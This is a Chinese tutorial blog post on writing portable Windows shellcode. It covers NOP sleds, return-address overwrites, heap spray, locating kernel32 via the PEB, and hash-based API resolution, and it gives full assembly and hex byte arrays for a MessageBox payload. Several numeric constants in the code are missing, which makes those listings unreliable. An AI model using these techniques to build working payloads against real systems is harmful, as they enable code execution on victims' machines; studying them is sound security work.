OD: Universal Shellcode
本节讲如果开发通用的 Shellcode。
Shellcode 的组织
shellcode 的组织对成功地 exploit 很重要。
送入缓冲区的数据包括:
. 填充物。一般用 0x90 (NOP) 填充于 shellcode 之前,这样只要跳转到填充区,就能执行 shellcode,为溢出提供了着床缓冲。 . 淹没返回地址的数据。可能是跳转指令地址、shellcode 起始地址,或者近似的 shellcode 地址。 . shellcode。
前些篇目中用过两种 shellcode 的组织方式,分别是将短小的 shellcode 直接放在 buffer 中和将 shellcode 放在返回地址之后。
第三种方式是,用跳转指令来定位 shellcode 时,将 shellcode 布置在返回地址之前,并在返回地址之后多淹没一些空间用作 shellcode head 以引导 eip 着陆。
将 shellcode 放在 buffer 中:
好处:合理利用缓冲区,使攻击串的体积最小(对于远程攻击,有时所有数据必须放在一个网络数据包内);不破坏前栈帧数据。 坏处:shellcode 可能被压栈的数据破坏。
将 shellcode 放在返回地址之后:
好处:不用担心 shellcode 被压栈的数据破坏。 坏处:破坏前栈帧结构。
提高栈顶保护 shellcode
将 shellcode 放在 buffer 中最大的坏处是:函数返回时,当前帧栈被弹出,虽然物理上 shellcode 暂时没被破坏,但逻辑上,存放 shellcode 的那个栈帧已经废弃了。如果 shellcode 中没有向栈中写数据,那情况还好;但如果 shellcode 用了 push 之类的指令在栈中暂存数据,压栈的数据可能会破坏 shellcode 本身。若 buffer 比较大,shellcode 中的 push 操作可能保会占用离栈顶较近的栈区,不会危及到 shellcode,但如果 buffer 比较小,情况就不乐观了。
为了保护 shellcode 使其具有较好的通用性,通常在 shellcode 一开始就抬高栈顶,使 shellcode 藏在栈帧中,不被 push 等操作破坏。
跳转指令
除了前些篇目中使用的 jmp esp,也可以使用其他跳转指令。
实际漏洞利用时,要好好观察寄存器的值,除了 esp 之外,eax、ebx、esi 等寄存器也会指向栈顶附近,跳转指令的选用要灵活些,move eax, esp 和 jmp eax 等指令序列也能完成进入栈帧的功能。
加大靶心
个别苛刻的漏洞不允许使用跳转指令,这时如果 buffer 足够大,可以在 shellcode 之前放置些 NOP,定位 shellcode 时,只要能跳进这些 NOP 中就能命中。这些用途着陆缓冲的 NOP 被形象地称作大靶心。
返回地址移位
在一些情况下,返回地址距离 buffer 的距离不是确定的(但能保证返回地址是双字 DWORD),这时也可以用加大靶心的思想——子弹扫射:用一片连续的跳转指令的地址(子弹)来覆盖返回地址,只要有一个子弹成功覆盖了返回地址就成功了。
返回地址错位
这是一种更加棘手的情况——例如由 strcat() 引起的漏洞:
strcat("程序安装目录", 输入的字符串)
在不同的系统环境下,输入的字符串可能不一样(可能是 app.exe 或者 app_.exe …),这里返回地址可能按字节错位而不是按双字(DWORD)错位,如果调试好的返回地址是 0xaabbccdd,则在其他机器上可能因为输入的字符串差奇数个字节,使返回地址变成 0xbbccddaa、0xccddaabb 或者 0xddaabbcc,溢出的成功率只有 25%,溢出的通用性大大降低!
Heap Spray
解决上述问题的一个方法是:使用按字节相同的双字跳转地址,甚至可以使用堆中的跳转地址并将 shellcode 用堆扩展的方法放置在相应区域。这种 heap spray 技术在 IE 漏洞中经常用到。
定位 Shellcode 原理
之前用到的 user32.dll 中的 MessageBoxA() 和 kernel32.dll 中的 ExitProcess() 的入口地址会因不同的 OS、不同的 patch 而不同,导致用静态地址调用 API 会使得 shellcode 的通用性受到很大的限制,实际使用中必须动态获得 API 地址。
Windows 的 API 是通过动态连接库中的导出函数来实现的:内存操作函数在 kernel32.dll 中实现,图形界面相关函数在 user32.dll 中实现……
Windows 下的 shellcode 最常用的动态寻址 API 的方法是:从进程控制块中找到动态连接库的导出表,搜索出所需 API 地址并调用。
所有 Win32 程序都会加载 kernel32.dll 和 ntdll.dll,在 Win32 中寻址 kernel32.dll 的 API 的步骤如下:
1. 通过 段选择字 FS 在内存中找到当前的线环境制快 TEB(Thread Environment Block)。
2. 线程环境块偏移 0x30 的地方存放着指向 进程环境块 PEB(Process Environment Block)的指针。
3. 进程环境块中偏移 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,PEB_LDR_DATA 存放着已经装载的 DLL 信息。
4. PEB_LDR_DATA 偏移 0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
5. InInitializationOrderModuleList 存放着 PE 初始化时的模块信息,第一个链表结点是 ntdll.dll,第二个是 kernel32.dll。
6. 找到 kernel32.dll 后,偏移 0x08 的地方就是 kernel32.dll 在内存中的加载基址。
7. kernel32.dll 加载基址偏移 0x3C 的地方就是其 PE 头。
8. PE 头偏移 0x78 的地方存放指向函数导出表的指针。 函数导出表偏移 0x1C 处的指针指向存储导出函数偏移地址(RVA)的列表。
函数导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。
函数的 RVA 地址和名字按照顺序放在上述两个列表中,可以根据名称的索引值查找对应的 RVA。
获得 RVA 后,加上前面找到的加载基址,就能找到 API 函数的入口虚拟地址。
找出需要的 API 函数入口地址的过程如下:
类似的,用这种方法可以定位 ws2_32.dll 中的 winsock 函数来编写能获得远程 shell 的利用型 shellcode。
利用 kernel32.dll 中的 LoadLibrary() 和 GetProcAddress() 可以方便的定位其他 API 函数。
定位 kernel32.dll 装载基址的代码如下:
xor edx, edx ; zero edx
mov ebx, fs:[edx + 0x30] ; ebx = addr of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list : kernelbase.dll on Win7 , kernel32.dll on Windows XP
mov ecx, [ecx] ; ecx = third entry in list : kernel32.dll on Win7
mov ebp, [ecx + 0x08] ; ebp = base addr of kernel32.dll
我在书中的代码中增加了如上所示的第 6 行,因为调试发现 Win7 中模块初始化链表所指的第二个节点是 kernelbase.dll,第三个节点才是 kernel32.dll
Shellcode 加载与调试
shellcode 的常见形式是用转义字符将机器码放在一个数组中,公开的 shellcode 也经常用这种方式。
可以使用如下的 C 语言代码来调试 shellcode:
char shellcode[] = "\x90x90..."; int main()
{
__asm
{
lea eax, shellcode
push eax
ret
}
return ;
}
API 函数名的哈希摘要(hash digest)
短小精悍是设计通用 shellcode 标准之一,为此,在 shellcode 中定位 API 不应该直接用 API 的函数名,否则空间很严重。不错的选择是用函数名的字符串 hash 摘要要(hash digest)。引入 hash 算法需要的代码空间不大,比直接使用函数名更划算。
接下来的实验中使用的 hash 算法如下:
#include <stdio.h>
#include <windows.h> DWORD GetHash(char *fun_name)
{
DWORD digest=;
//循环右移7位并累加字符串中的字符
for( ; *fun_name; digest=((digest<<)+(digest>>))+*(fun_name++) );
return digest;
} int main()
{
printf("hash of MessageBoxA: 0x%08x\n",GetHash("MessageBoxA"));
return ;
}
这位一来,只用存储 hash 算法函数 GetHash() 的代码和需要使用的 API 函数名的 digest(双字),而上述的 GetHash() 只需 ror 和 add 指令就可以实现。实际上,精心构造的 hash 算法只需一个字节(8bit) 就能存储 digest 值。
应用上面的算法得出的主要 API 的 hash 值如下:
MessageBoxA : 0x1E380A6A
ExitProcess : 0x4FD18963
LoadLibraryA : 0x0C917432
动态定位 API
下面实现动态定位 API 中的 LoadLibraryA()、ExitProcess()、和 MessageBoxA() 函数,并完成弹窗和安全退出程序的 shellcode。
第一步是将 API 函数名的 hash digest 压入栈中,注意压栈之前要将增量标志 DF 清零。因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 字符串处理方向发生变化而出错(如 LODSD 指令)。如果在堆溢出中发现原本稳定的 shellcode 运行时出错,很可能就是这个原因。
我用的环境是 Win7,调试中发现模块初始化链表中的第二个模块是 kernelbase.dll 而不是 kernel32.dll,所以在原书的代码中有修改,见第 51、52 行:
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 5.4 in book "Vulnerability Exploit and Analysis Technique" file name : shellcode_popup_general.c
author : failwest
date : 2006.10.20
description : can be run across OS platform and different patch version
the code used to generate PE file and extract binary code
Noticed :
version : 1.0
E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/ int main()
{
_asm{
nop
nop
nop
nop
nop CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start saving function address ; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx ; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernelbase.dll on Win7)
mov ecx, [ecx] ; ecx = third entry in list (kernel32.dll on Win7)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * ] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small) hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166 //push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; //call MessageboxA
push ebx
call [edi - 0x08] ; // call ExitProcess
nop
nop
nop
nop
}
return ;
}
OllyDbg 导入上述代码编译出的 EXE 文件,并导出 shellcode(170字节,Win7) 如下:
char popwnd_general[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
"\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"; int main()
{
_asm{
lea eax, popwnd_general
push eax
ret
}
return ;
}
修改了弹窗信息后的 163 字节 shellcode(Windows XP)
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"
"\xFF\x57\xF8" // 163 bytes pop window shellcode (MessageBoxA)
2014.11.04 修改代码如下(XP / Win7 可用):
#include <stdio.h> int main()
{
LoadLibrary(_T("user32.dll"));
_asm{
nop
nop
nop
nop
nop CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start saving function address ; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx ; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = PEB
mov ecx, [ebx + 0x0c] ; ecx = PEB_LDR_DATA
mov ecx, [ecx + 0x0c] ; ecx = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[] (process)
mov ecx, [ecx] ; ecx = InLoadOrder[] (ntdll)
mov ecx, [ecx] ; ecx = InLoadOrder[] (kernel32)
mov ebp, [ecx + 0x18] ; ebp = [InLoadOrder[] + 0x18] = kernel32 DllBase find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * ] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small) hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx // cut string
push 0x78632024 // push "$ cx"
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; //call MessageboxA
push ebx
call [edi - 0x08] ; // call ExitProcess
nop
nop
nop
nop
}
return ;
}
shellcode 如下:
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8" // 165 bytes msgbox shellcode for xp/win7
OD: Universal Shellcode的更多相关文章
- OD: Writing Small Shellcode
第 5.6 节讲述如何精简 shellcode,并实现一个用于端口绑定的 shellcode.原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing S ...
- OD: Shellcode Encoding
Shellcode 受到的限制 1. 大多数情况下 shellcode 中不允许出现 0x00 截断符,这个可以通过特殊指令来做到. 2. 有时候 shellcode 必须为可见的 ASCII 字符或 ...
- OD: Shellcode / Exploit & DLL Trampolining
看到第五章了. 标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好: http://en.wikipedia.org/wiki/Buffer_overflow#The_ju ...
- 逆向工程学习第二天--动手开发自己的第一个shellcode
一个简单的c语言添加windows管理员账号的小程序,之前在渗透的时候经常用到,现在拿它来做自己的第一个shellcode. C代码: #pragma comment(lib, "netap ...
- 《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考
I will Make Impossible To I'm possible -----------LittleHann 看了2个多星期.终于把0DAY这本书给看完了,自己动手将书上的实验一个一个实现 ...
- Universal Naming Convention (UNC)
Quote from: http://compnetworking.about.com/od/windowsnetworking/g/unc-name.htm Definition: UNC is a ...
- iconv内容,convmv文件名,unix2dos,dos2unix文件格式转换,od/cut/wc/dd/diff/uniq/nice/du等命令,linux文件名乱码,文件名,文件内容,vim编码设置
1.enconv文件名编码转换,比如要将一个GBK编码的文件转换成UTF-8编码,操作如下 enconv -L zh_CN -x UTF-8 filename enconv -L GB2312 -x ...
- gdb windbg and od use
gdb aslr -- 显示/设置 gdb 的 ASLR asmsearch -- Search for ASM instructions in memory asmsearch "int ...
- CVE-2015-1641 Office类型混淆漏洞及shellcode分析
作者:枕边月亮 原文来自:CVE-2015-1641 Office类型混淆漏洞及shellcode分析 0x1实验环境:Win7_32位,Office2007 0x2工具:Windbg,OD,火绒剑, ...
随机推荐
- STL删除vector或list的方法及注意的问题
删除vector中的元素 1.删除指定的所有对象 STL中remove()只是将待删除元素之后的元素移动到vector的前端,而不是删除.若要真正移除,需要搭配使用erase().例子: vector ...
- 关于C++中的虚拟继承的一些总结
1.为什么要引入虚拟继承 虚拟继承是多重继承中特有的概念.虚拟基类是为解决多重继承而出现的.如:类D继承自类B1.B2,而类B1.B2都继承自类A,因此在类D中两次出现类A中的变量和函数.为了节省内存 ...
- MySQL重构查询的方式
在优化有问题的查询时,目标应该是找到一个更优的方法获得实际需要的结果--而不一定总要从MySQL获取一模一样的结果集.有时候可以查询转换一种写法让其返回一样的结果,但是性能更好.但也可以通过修改应用代 ...
- jQuery的map()与jQuery.map()总结
请注意他们不是同一个函数.前者是jQuery对象的实例方法(即$.fn.map),后者是一个仅仅挂在jQuery对象下的静态方法(即$.map). 他们用法的异同:map()的返回值是包裹了一个Arr ...
- C# 实现将PDF转文本的功能
这篇文章最初只描述使用 PDFBox 来解析PDF文件.现在它已经被扩展到包括使用 IFilter 和 iTextSharp 的例程了. 这篇文章和对应的Visual Studio项目已经更新到目前 ...
- 清除oracl中有主外键关联的表中的部分数据。
1.禁用主外键BEGINfor c in (select 'ALTER TABLE '||TABLE_NAME||' DISABLE CONSTRAINT '||constraint_name||' ...
- IOS开发之免费证书+不越狱真机调试
本文转自:http://www.cnblogs.com/weii/p/4688299.html 苹果发布Xcode7后, 开放了普通的AppleID也能真机调试,非$99 或 $299, 只要能上 ...
- 转:内核空间与用户空间数据交换的方式之一 --ioctl(通过字符设备演示)
对于linux而言,内核程序和用户程序分别运行在内核空间和用户空间,要实现两者的数据交换,主要有以下几种方式:系统调用,读写系统文件(procfs,sysfs, seq_file,debugfs等), ...
- CreateLiveCMSV4.0 漏洞,无需后台Get shell
Title:CreateLiveCMSV4.0 漏洞,无需后台Get shell --2012-03-06 17:28 标题:CreateLive CMS Version 4.0.1006 漏洞,无需 ...
- rsync同步目录及同步文件
最简单的只读同步工作. 一,服务端的配置 1,安装rsync(阿里云默认已有此程序) 略 2,生成文件rsyncd.conf,内容如下: #secrets file = /etc/rsyncd.sec ...